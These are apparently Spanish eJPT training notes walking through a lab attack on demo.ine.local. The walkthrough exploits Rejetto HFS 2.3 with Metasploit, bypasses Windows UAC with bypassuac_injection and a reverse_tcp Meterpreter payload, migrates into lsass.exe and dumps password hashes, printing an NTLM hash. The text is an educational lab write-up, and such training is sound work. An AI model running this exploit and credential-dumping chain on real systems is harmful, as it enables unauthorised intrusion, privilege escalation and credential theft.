> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/metasploit-framework-msf/post-explotacion/postexplotacion-en-windows/bypassing-uac.md).

# Bypassing UAC

### 🛡️ ¿Qué es UAC?

El **Control de Cuentas de Usuario (UAC)** es una función de seguridad de Windows introducida en **Windows Vista**, diseñada para **evitar que se realicen cambios no autorizados** en el sistema operativo.

* UAC asegura que cualquier cambio importante en el sistema **requiera aprobación de un administrador**.
* Es una medida de protección para mitigar la ejecución inadvertida de malware con privilegios elevados.

***

### 🧬 Bypass de UAC con Metasploit

Podemos utilizar el módulo de Metasploit:

```
exploit/windows/local/bypassuac_injection
```

Este módulo:

* Aprovecha un certificado de **editor de confianza**.
* Realiza **inyección en memoria** para generar un **segundo shell** con el **flag de UAC desactivado**.
* Esto nos da acceso **elevado sin necesidad de aprobación manual del usuario**.

> 🎯 Útil cuando obtenemos una sesión de `meterpreter` sin privilegios administrativos y deseamos elevarla sin alertar al usuario.

***

## <sup>🧪</sup> Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/Z4Tzs4JCGVhG29X8n29t" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/oBlnKX5nkCb32Fkmo8Zy" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Verifique los puertos abiertos en la máquina de destino:

**Dominio:**

```
nmap demo.ine.local
```

<figure><img src="/files/rhHax7Iwh28xtqNtcUI4" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que varios puertos están abiertos. Ejecutaremos Nmap de nuevo para determinar la versión del puerto 80.

**Dominio:**

```
nmap -sV -p 80 demo.ine.local
```

<figure><img src="/files/szw4uKSYZsMizLomNNnZ" alt=""><figcaption></figcaption></figure>

El servidor de archivos HTTP (HFS) 2.3 está disponible.

**Paso 5:** Buscaremos un exploit para el servidor de archivos hfs usando searchsploit.

**Dominio:**

```
searchsploit hfs
```

<figure><img src="/files/XHh88tzl6j8xdgMRw1Wb" alt=""><figcaption></figcaption></figure>

**Paso 6:** El servidor de archivos HTTP Rejetto (HFS) 2.3 es vulnerable a ataques RCE. Se está explotando el servidor objetivo mediante Metasploit.

**Comandos:**

```
msfconsole -q

use exploit/windows/http/rejetto_hfs_exec
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/dsJNmnqjIYUZ29ql0qNj" alt=""><figcaption></figcaption></figure>

Hemos explotado con éxito la aplicación vulnerable de destino (hfs) y recibimos un shell meterpreter.

**Paso 7:** Verificar el usuario actual.

**Comandos:**

```
getuid
sysinfo
```

<figure><img src="/files/h7yPujpEqTpsAGzIXIFy" alt=""><figcaption></figcaption></figure>

**Paso 8:** Observamos que estamos ejecutando el programa como administrador. Migre el proceso en explorer.exe. Primero, busque el PID de explorer.exe y use el comando migrar para migrar el proceso actual al proceso de explorer.exe.

**Comandos:**

```
ps -S explorer.exe
migrate 2124
```

**Tenga en cuenta que** la arquitectura explorer.exe es **de 64** bits, por lo que más adelante, cuando realicemos una omisión de UAC, tendremos que usar la carga útil meterpreter basada en x64.

<figure><img src="/files/TFLDOl4pfOWyxpfa9nci" alt=""><figcaption></figcaption></figure>

**Paso 9:** Elevar al alto privilegio:

**Dominio** :

```
getsystem
```

<figure><img src="/files/ggc7wFtdbNCckYa0ekpO" alt=""><figcaption></figcaption></figure>

Podemos observar que no tenemos permiso para elevar privilegios.

**Paso 10:** Obtenga un shell de Windows y verifique si el usuario administrador es miembro del grupo Administradores.

**Comandos:**

```
shell
net localgroup administrators
```

<figure><img src="/files/Y3bYiPRoRej1Vp33WbDX" alt=""><figcaption></figcaption></figure>

El usuario administrador pertenece al grupo Administradores. Sin embargo, por ahora no tenemos privilegios altos. Podemos obtenerlos omitiendo el Control de Cuentas de Usuario (UAC).

Vamos a omitir el UAC utilizando el módulo de explotación local Metasploit.

Este módulo omitirá el Control de Cuentas de Usuario (UAC) de Windows utilizando el certificado de editor de confianza mediante la inyección de procesos. Generará un segundo shell con la opción UAC desactivada. Este módulo utiliza la técnica de inyección de DLL reflectante para eliminar únicamente el binario de carga útil de la DLL, en lugar de tres binarios separados como en la técnica estándar. Sin embargo, requiere la selección de la arquitectura correcta (use también x64 para sistemas SYSWOW64). Si especifica EXE::Custom, su DLL debe llamar a ExitProcess() después de iniciar la carga útil en un proceso independiente.

**Fuente:** \[<https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac\\_injection/>]

**Paso 11:** Ponga en segundo plano la sesión actual y utilice el exploit local para omitir el UAC.

**Comandos:**

```
CTRL + C
background
```

<figure><img src="/files/JMOJKNN4LYvBx62Z87cx" alt=""><figcaption></figcaption></figure>

**Paso 12:** Ejecute el módulo de inyección en memoria UAC Bypass.

**Comandos:**

```
use exploit/windows/local/bypassuac_injection
set session 1
set TARGET 1
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
```

<figure><img src="/files/Cqrm0V6zA8sFnDBgssE1" alt=""><figcaption></figcaption></figure>

**Paso 13:** Elevar al alto privilegio.

**Comandos:**

```
getsystem
getuid
```

<figure><img src="/files/ZYMrmMe2V67y8E2rGAVQ" alt=""><figcaption></figcaption></figure>

Hemos obtenido acceso con privilegios elevados. Elimine los hashes de usuario.

**Paso 14:** Migrar en el proceso lsass.exe.

**Comandos:**

```
ps -S lsass.exe
migrate 484
```

<figure><img src="/files/WxITmDJK511AfNPhs2SQ" alt=""><figcaption></figcaption></figure>

**Paso 15:** Deshazte de los hashes.

**Dominio:**

```
hashdump
```

<figure><img src="/files/4M9nC469uZL2M8R126Lq" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Hash NTLM del administrador:** f168d9f8e6c5b893b8c4dfa202228235

#### Conclusión

En este laboratorio, vimos cómo podemos evitar el UAC usando el módulo de explotación local Metsaploit Memory Injection para obtener el mayor privilegio en la máquina comprometida.

Referencias

* \[<https://www.exploit-db.com/exploits/39161>]
* \[<https://www.rapid7.com/db/modules/exploit/windows/http/rejetto\\_hfs\\_exec>]
* \[<https://www.rapid7.com/db/modules/exploit/windows/local/bypassuac\\_injection/>]
